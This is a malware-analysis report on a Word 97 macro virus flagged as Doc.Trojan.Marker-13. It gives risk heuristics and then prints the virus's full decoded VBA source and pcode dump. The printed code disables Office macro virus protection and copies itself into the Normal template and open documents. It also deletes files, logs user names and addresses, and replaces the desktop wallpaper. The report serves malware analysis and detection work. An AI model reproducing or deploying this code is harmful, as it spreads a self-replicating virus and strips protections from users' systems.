Office (OLE) malware analysis — malicious · fc929f07135c02e8 | Malicious Document Analyzer

MALICIOUS

Office (OLE)

89.5 KB Created: 2000-02-14 06:39:00 Authoring application: Microsoft Word 8.0 First seen: 2020-05-14

MD5: 2276f449ac5740a4ebed0fb58836dfa1 SHA-1: 9522c92a0600c8d6a36bf5f88b165e56d8595bbb SHA-256: fc929f07135c02e8a0441d3d265ca7b126684eeb6b691865d56825a8da3a8e0b

208 Risk Score

Heuristics 4

ClamAV: Doc.Trojan.Marker-13 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Marker-13
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22768 bytes
SHA-256: `9703657e8005ad8793e218356bbc57a3a3ac77d41e3730b799b271ee553af78b`
Detection ClamAV: Doc.Trojan.Marker-13 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'Seline, Where are you dear Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x" Private Sub Document_Open() Document_Close End Sub Private Sub Document_Close() Dim nmod As Object Dim isd As String Dim DS, NTS, DI, NTI As Boolean Dim Jon, Users, LogData, LogFile As String On Error Resume Next AddIns.Unload True Kill Options.DefaultFilePath(8) & "\.doc" Kill Options.DefaultFilePath(8) & "\.dot" Options.VirusProtection = False Application.UserName = "JonMMx 2000" Application.UserInitials = "MeMeX" Application.UserAddress = "JonMMx2000@yahoo.com" Application.EnableCancelKey = wdCancelDisabled GoSub InsertIon If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _ "LogData in") = False) Then GoSub LoggingIn If WeekDay(Now()) = 1 Then GoSub ShowMe GoTo Finish InsertIon: Set AD = ActiveDocument.VBProject.VBComponents.Item(1) Set NT = NormalTemplate.VBProject.VBComponents.Item(1) DI = AD.CodeModule.Find(Marker, 1, 1, 10000, 10000) NTI = NT.CodeModule.Find(Marker, 1, 1, 10000, 10000) If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then If DI Then NTS = NormalTemplate.Saved Jon = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines) For i = 1 To Len(Application.UserAddress) If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then Users = Users & Mid(Application.UserAddress, i, 1) End If Else Users = Users & Chr(13) & " '" End If Next Jon = Jon & Chr(13) & _ "' " & Format(Time, "hh:mm:sc AMPM-") & _ Format(Date, "dddd, d mmm yyyy") & Chr(13) & _ "' " & Application.UserName & Chr(13) & _ "' " & Users & Chr(13) & Chr(13) & " " NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines NT.CodeModule.AddFromString Jon If NTS Then NormalTemplate.Save End If If NTI Then DS = ActiveDocument.Saved Jon = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines) AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.CodeModule.AddFromString Jon If DS Then ActiveDocument.Save End If End If Return LoggingIn: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True GoSub ShowMe Return ShowMe: Dim RootsyS As String On Error Resume Next RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot") Open RootsyS & "\Jon.html" For Output As #1 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >" Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>" Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>" Print #1, "<font normal></center>To the very best that happen in mylife<p>" Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time " Print #1, "<p>You were gone since yester month But the memories, never would dissapear" Print #1, "<p>I think of you, I THINK OF YOU.<p>" Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end." Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on " Print #1, "<p>Dear Iin, I close my eyes and see your face. That's all I have to do to be with you. " Print #1, "<p>Dear Iin, altough I can not touch your face. I know what I can do to be with you " Print #1, "<p>Long ago so faraway. But the light of blue, still living with me today." Print #1, "<p>You were gone since yester month. But the memories never would dissapear." Print #1, "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>" Close #1 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\Jon.html" Return Finish: End Sub 'Logfile --> ' 06:14:2518:14:25 -Kamis, 22 Jul 1999 ' JonMMx 2000 ' jonthebest@hotbot.com ' 09:07:259:07:25 -Sabtu, 24 Jun 2017 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:05:474:05:47 AM AM-Thursday, 26 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:17:594:17:59 PM PM-Thursday, 26 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 07:19:87:19:08 AM AM-Monday, 2 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:02:354:02:35 AM AM-Thursday, 5 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 06:48:326:48:32 AM AM-Tuesday, 14 Sep 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:15:182:15:18 PM PM-Friday, 24 Sep 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:04:219:04:21 AM AM-Wednesday, 13 Oct 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:10:4512:10:45 PM PM-Wednesday, 13 Oct 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:39:4520:39:45 -Jumat, 20 Agust 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:24:5410:24:54 AM AM-Thursday, 5 Nov 1998 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:14:1410:14:14 -Jumat, 10 Des 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:59:349:59:34 -Sabtu, 11 Des 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 01:58:1113:58:11 -Rabu, 19 Jan 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:43:1610:43:16 AM AM-Monday, 14 Feb 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:11:1110:11:11 AM AM-Friday, 3 Mar 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:55:3412:55:34 PM PM-Wednesday, 22 Mar 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:37:189:37:18 AM AM-Saturday, 19 Feb 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:46:74:46:07 PM PM-Thursday, 1 Jun 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:38:4910:38:49 AM-Saturday, 3 Jun 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:25:1616:25:16 PM-Wednesday, 7 Jun 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:11:338:11:33 AM-Tuesday, 13 Jun 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' Processing file: /opt/analyzer/scan_staging/dbbc9abfba284e2e80be815f39987faf.bin ' =============================================================================== ' Module streams: ' Mac s/VBA/ThisDocument - 13741 bytes ' Line #0: ' Line #1: ' QuoteRem 0x0000 0x001A "Seline, Where are you dear" ' Line #2: ' Dim (Const) ' LitStr 0x0033 "<- this is a marker! by jonhehehe TheBest-versi212x" ' VarDefn Marker ' Line #3: ' FuncDefn (Private Sub Document_Open()) ' Line #4: ' ArgsCall Document_Close 0x0000 ' Line #5: ' EndSub ' Line #6: ' FuncDefn (Private Sub Document_Close()) ' Line #7: ' Dim ' VarDefn nmod (As Object) ' Line #8: ' Dim ' VarDefn isd (As String) ' Line #9: ' Dim ' VarDefn DS ' VarDefn NTS ' VarDefn DI ' VarDefn NTI (As Boolean) ' Line #10: ' Dim ' VarDefn Jon ' VarDefn Users ' VarDefn LogData ' VarDefn LogFile (As String) ' Line #11: ' OnError (Resume Next) ' Line #12: ' LitVarSpecial (True) ' Ld AddIns ' ArgsMemCall Unlock 0x0001 ' Line #13: ' LitDI2 0x0008 ' Ld Options ' ArgsMemLd DefaultFilePath 0x0001 ' LitStr 0x0006 "\.doc" ' Concat ' ArgsCall Kill 0x0001 ' Line #14: ' LitDI2 0x0008 ' Ld Options ' ArgsMemLd DefaultFilePath 0x0001 ' LitStr 0x0006 "\.dot" ' Concat ' ArgsCall Kill 0x0001 ' Line #15: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #16: ' LitStr 0x000B "JonMMx 2000" ' Ld Application ' MemSt UserName ' Line #17: ' LitStr 0x0005 "MeMeX" ' Ld Application ' MemSt UserInitials ' Line #18: ' LitStr 0x0014 "JonMMx2000@yahoo.com" ' Ld Application ' MemSt UserAddress ' Line #19: ' Ld wdCancelDisabled ' Ld Application ' MemSt EnableCancelKey ' Line #20: ' GoSub InsertIon ' Line #21: ' LineCont 0x0004 0A 00 03 00 ' LitStr 0x0000 "" ' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info" ' LitStr 0x000A "LogData in" ' Ld System ' ArgsMemLd PrivateProfileString 0x0003 ' LitVarSpecial (False) ' Eq ' Paren ' If ' BoSImplicit ' GoSub LoggingIn ' EndIf ' Line #22: ' ArgsLd Now 0x0000 ' ArgsLd WeekDay 0x0001 ' LitDI2 0x0001 ' Eq ' If ' BoSImplicit ' GoSub ShowMe ' EndIf ' Line #23: ' GoTo Finish ' Line #24: ' Label InsertIon ' Line #25: ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set AD ' Line #26: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set NT ' Line #27: ' Ld Marker ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x2710 ' LitDI2 0x2710 ' Ld AD ' MemLd CodeModule ' ArgsMemLd Find 0x0005 ' St DI ' Line #28: ' Ld Marker ' LitDI2 0x0001 ' LitDI2 0x0001 ' LitDI2 0x2710 ' LitDI2 0x2710 ' Ld NT ' MemLd CodeModule ' ArgsMemLd Find 0x0005 ' St NTI ' Line #29: ' Ld DI ' Ld NTI ' Xor ' Paren ' Ld ActiveDocument ' MemLd SaveFormat ' Ld wdFormatDocument ' Eq ' Ld ActiveDocument ' MemLd SaveFormat ' Ld wdFormatTemplate ' Eq ' Or ' Paren ' And ' IfBlock ' Line #30: ' Ld DI ' IfBlock ' Line #31: ' Ld NormalTemplate ' MemLd Saved ' St NTS ' Line #32: ' LitDI2 0x0001 ' Ld AD ' MemLd CodeModule ' MemLd CountOfLines ' Ld AD ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' St Jon ' Line #33: ' StartForVariable ' Ld i ' EndForVariable ' LitDI2 0x0001 ' Ld Application ' MemLd UserAddress ' FnLen ' For ' Line #34: ' Ld Application ' MemLd UserAddress ' Ld i ' LitDI2 0x0001 ' ArgsLd Mid$ 0x0003 ' LitDI2 0x000D ' ArgsLd Chr 0x0001 ' Ne ' Paren ' IfBlock ' Line #35: ' Ld Application ' MemLd UserAddress ' Ld i ' LitDI2 0x0001 ' ArgsLd Mid$ 0x0003 ' LitDI2 0x000A ' ArgsLd Chr 0x0001 ' Ne ' Paren ' IfBlock ' Line #36: ' Ld Users ' Ld Application ' MemLd UserAddress ' Ld i ' LitDI2 0x0001 ' ArgsLd Mid$ 0x0003 ' Concat ' St Users ' Line #37: ' EndIfBlock ' Line #38: ' ElseBlock ' Line #39: ' Ld Users ' LitDI2 0x000D ' ArgsLd Chr 0x0001 ' Concat ' LitStr 0x0002 " '" ' Concat ' St Users ' Line #40: ' EndIfBlock ' Line #41: ' StartForVariable ' Next ' Line #42: ' LineCont 0x0010 09 00 09 00 12 00 10 00 1E 00 09 00 29 00 09 00 ' Ld Jon ' LitDI2 0x000D ' ArgsLd Chr 0x0001 ' Concat ' LitStr 0x0002 "' " ' Concat ' Ld Time ' LitStr 0x000E "hh:mm:sc AMPM-" ' ArgsLd Format$ 0x0002 ' Concat ' Ld Date ' LitStr 0x0010 "dddd, d mmm yyyy" ' ArgsLd Format$ 0x0002 ' Concat ' LitDI2 0x000D ' ArgsLd Chr 0x0001 ' Concat ' LitStr 0x0002 "' " ' Concat ' Ld Application ' MemLd UserName ' Concat ' LitDI2 0x000D ' ArgsLd Chr 0x0001 ' Concat ' LitStr 0x0002 "' " ' Concat ' Ld Users ' Concat ' LitDI2 0x000D ' ArgsLd Chr 0x0001 ' Concat ' LitDI2 0x000D ' ArgsLd Chr 0x0001 ' Concat ' LitStr 0x0001 " " ' Concat ' St Jon ' Line #43: ' LitDI2 0x0001 ' Ld NT ' MemLd CodeModule ' MemLd CountOfLines ' Ld NT ' MemLd CodeModule ' ArgsMemCall DeleteLines 0x0002 ' Line #44: ' Ld Jon ' Ld NT ' MemLd CodeModule ' ArgsMemCall AddFromString 0x0001 ' Line #45: ' Ld NTS ' If ' BoSImplicit ' Ld NormalTemplate ' ArgsMemCall Save 0x0000 ' EndIf ' Line #46: ' EndIfBlock ' Line #47: ' Ld NTI ' IfBlock ' Line #48: ' Ld ActiveDocument ' MemLd Saved ' St DS ' Line #49: ' LitDI2 0x0001 ' Ld NT ' MemLd CodeModule ' MemLd CountOfLines ' Ld NT ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' St Jon ' Line #50: ' LitDI2 0x0001 ' Ld AD ' MemLd CodeModule ' MemLd CountOfLines ' Ld AD ' MemLd CodeModule ' ArgsMemCall DeleteLines 0x0002 ' Line #51: ' Ld Jon ' Ld AD ' MemLd CodeModule ' ArgsMemCall AddFromString 0x0001 ' Line #52: ' Ld DS ' If ' BoSImplicit ' Ld ActiveDocument ' ArgsMemCall Save 0x0000 ' EndIf ' Line #53: ' EndIfBlock ' Line #54: ' EndIfBlock ' Line #55: ' Return ' Line #56: ' Label LoggingIn ' Line #57: ' LitVarSpecial (True) ' LitStr 0x0000 "" ' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info" ' LitStr 0x000A "LogData in" ' Ld System ' ArgsMemSt PrivateProfileString 0x0003 ' Line #58: ' GoSub ShowMe ' Line #59: ' Return ' Line #60: ' Label ShowMe ' Line #61: ' Dim ' VarDefn RootsyS (As String) ' Line #62: ' OnError (Resume Next) ' Line #63: ' LitStr 0x0000 "" ' LitStr 0x003C "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion" ' LitStr 0x000A "SystemRoot" ' Ld System ' ArgsMemLd PrivateProfileString 0x0003 ' St RootsyS ' Line #64: ' Ld RootsyS ' LitStr 0x0009 "\Jon.html" ' Concat ' LitDI2 0x0001 ' Sharp ' LitDefault ' Open (For Output) ' Line #65: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x007A "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >" ' PrintItemNL ' Line #66: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x006C "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>" ' PrintItemNL ' Line #67: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x0080 "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>" ' PrintItemNL ' Line #68: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x003F "<font normal></center>To the very best that happen in mylife<p>" ' PrintItemNL ' Line #69: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x0048 "<p>Long ago and in my mind, I can see your face lonely and lost in time " ' PrintItemNL ' Line #70: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x004B "<p>You were gone since yester month But the memories, never would dissapear" ' PrintItemNL ' Line #71: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x0025 "<p>I think of you, I THINK OF YOU.<p>" ' PrintItemNL ' Line #72: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x0051 "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end." ' PrintItemNL ' Line #73: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x004A "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on " ' PrintItemNL ' Line #74: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x0059 "<p>Dear Iin, I close my eyes and see your face. That's all I have to do to be with you. " ' PrintItemNL ' Line #75: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x0055 "<p>Dear Iin, altough I can not touch your face. I know what I can do to be with you " ' PrintItemNL ' Line #76: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x004A "<p>Long ago so faraway. But the light of blue, still living with me today." ' PrintItemNL ' Line #77: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x004D "<p>You were gone since yester month. But the memories never would dissapear." ' PrintItemNL ' Line #78: ' LitDI2 0x0001 ' Sharp ' PrintChan ' LitStr 0x0063 "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>" ' PrintItemNL ' Line #79: ' LitDI2 0x0001 ' Sharp ' Close 0x0001 ' Line #80: ' Ld RootsyS ' LitStr 0x0009 "\Jon.html" ' Concat ' LitStr 0x0000 "" ' LitStr 0x0046 "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General" ' LitStr 0x0009 "Wallpaper" ' Ld System ' ArgsMemSt PrivateProfileString 0x0003 ' Line #81: ' Return ' Line #82: ' Label Finish ' Line #83: ' EndSub ' Line #84: ' QuoteRem 0x0000 0x000B "Logfile -->" ' Line #85: ' Line #86: ' QuoteRem 0x0000 0x0025 " 06:14:2518:14:25 -Kamis, 22 Jul 1999" ' Line #87: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #88: ' QuoteRem 0x0000 0x0016 " jonthebest@hotbot.com" ' Line #89: ' Line #90: ' Line #91: ' QuoteRem 0x0000 0x0024 " 09:07:259:07:25 -Sabtu, 24 Jun 2017" ' Line #92: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #93: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #94: ' Line #95: ' Line #96: ' Line #97: ' Line #98: ' QuoteRem 0x0000 0x002D " 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999" ' Line #99: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #100: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #101: ' Line #102: ' Line #103: ' Line #104: ' Line #105: ' QuoteRem 0x0000 0x002D " 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999" ' Line #106: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #107: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #108: ' Line #109: ' Line #110: ' Line #111: ' Line #112: ' QuoteRem 0x0000 0x002C " 04:05:474:05:47 AM AM-Thursday, 26 Aug 1999" ' Line #113: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #114: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #115: ' Line #116: ' Line #117: ' Line #118: ' Line #119: ' QuoteRem 0x0000 0x002C " 04:17:594:17:59 PM PM-Thursday, 26 Aug 1999" ' Line #120: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #121: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #122: ' Line #123: ' Line #124: ' Line #125: ' Line #126: ' QuoteRem 0x0000 0x0028 " 07:19:87:19:08 AM AM-Monday, 2 Aug 1999" ' Line #127: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #128: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #129: ' Line #130: ' Line #131: ' Line #132: ' Line #133: ' QuoteRem 0x0000 0x002B " 04:02:354:02:35 AM AM-Thursday, 5 Aug 1999" ' Line #134: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #135: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #136: ' Line #137: ' Line #138: ' Line #139: ' Line #140: ' QuoteRem 0x0000 0x002B " 06:48:326:48:32 AM AM-Tuesday, 14 Sep 1999" ' Line #141: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #142: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #143: ' Line #144: ' Line #145: ' Line #146: ' Line #147: ' QuoteRem 0x0000 0x002A " 02:15:182:15:18 PM PM-Friday, 24 Sep 1999" ' Line #148: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #149: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #150: ' Line #151: ' Line #152: ' Line #153: ' Line #154: ' QuoteRem 0x0000 0x002D " 09:04:219:04:21 AM AM-Wednesday, 13 Oct 1999" ' Line #155: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #156: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #157: ' Line #158: ' Line #159: ' Line #160: ' Line #161: ' QuoteRem 0x0000 0x002E " 12:10:4512:10:45 PM PM-Wednesday, 13 Oct 1999" ' Line #162: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #163: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #164: ' Line #165: ' Line #166: ' Line #167: ' Line #168: ' QuoteRem 0x0000 0x0027 " 08:39:4520:39:45 -Jumat, 20 Agust 1999" ' Line #169: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #170: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #171: ' Line #172: ' Line #173: ' Line #174: ' Line #175: ' QuoteRem 0x0000 0x002C " 10:24:5410:24:54 AM AM-Thursday, 5 Nov 1998" ' Line #176: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #177: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #178: ' Line #179: ' Line #180: ' Line #181: ' Line #182: ' QuoteRem 0x0000 0x0025 " 10:14:1410:14:14 -Jumat, 10 Des 1999" ' Line #183: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #184: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #185: ' Line #186: ' Line #187: ' Line #188: ' Line #189: ' QuoteRem 0x0000 0x0024 " 09:59:349:59:34 -Sabtu, 11 Des 1999" ' Line #190: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #191: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #192: ' Line #193: ' Line #194: ' Line #195: ' Line #196: ' QuoteRem 0x0000 0x0024 " 01:58:1113:58:11 -Rabu, 19 Jan 2000" ' Line #197: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #198: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #199: ' Line #200: ' Line #201: ' Line #202: ' Line #203: ' QuoteRem 0x0000 0x002B " 10:43:1610:43:16 AM AM-Monday, 14 Feb 2000" ' Line #204: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #205: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #206: ' Line #207: ' Line #208: ' Line #209: ' Line #210: ' QuoteRem 0x0000 0x002A " 10:11:1110:11:11 AM AM-Friday, 3 Mar 2000" ' Line #211: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #212: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #213: ' Line #214: ' Line #215: ' Line #216: ' Line #217: ' QuoteRem 0x0000 0x002E " 12:55:3412:55:34 PM PM-Wednesday, 22 Mar 2000" ' Line #218: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #219: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #220: ' Line #221: ' Line #222: ' Line #223: ' Line #224: ' QuoteRem 0x0000 0x002C " 09:37:189:37:18 AM AM-Saturday, 19 Feb 2000" ' Line #225: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #226: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #227: ' Line #228: ' Line #229: ' Line #230: ' Line #231: ' QuoteRem 0x0000 0x002A " 04:46:74:46:07 PM PM-Thursday, 1 Jun 2000" ' Line #232: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #233: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #234: ' Line #235: ' Line #236: ' Line #237: ' Line #238: ' QuoteRem 0x0000 0x002A " 10:38:4910:38:49 AM-Saturday, 3 Jun 2000" ' Line #239: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #240: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #241: ' Line #242: ' Line #243: ' Line #244: ' Line #245: ' QuoteRem 0x0000 0x002B " 04:25:1616:25:16 PM-Wednesday, 7 Jun 2000" ' Line #246: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #247: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #248: ' Line #249: ' Line #250: ' Line #251: ' Line #252: ' QuoteRem 0x0000 0x0029 " 08:11:338:11:33 AM-Tuesday, 13 Jun 2000" ' Line #253: ' QuoteRem 0x0000 0x000C " JonMMx 2000" ' Line #254: ' QuoteRem 0x0000 0x0015 " JonMMx2000@yahoo.com" ' Line #255: ' Line #256: ' Line #257: ' Line #258:

Open this report in the interactive analyzer, or submit your own file for analysis.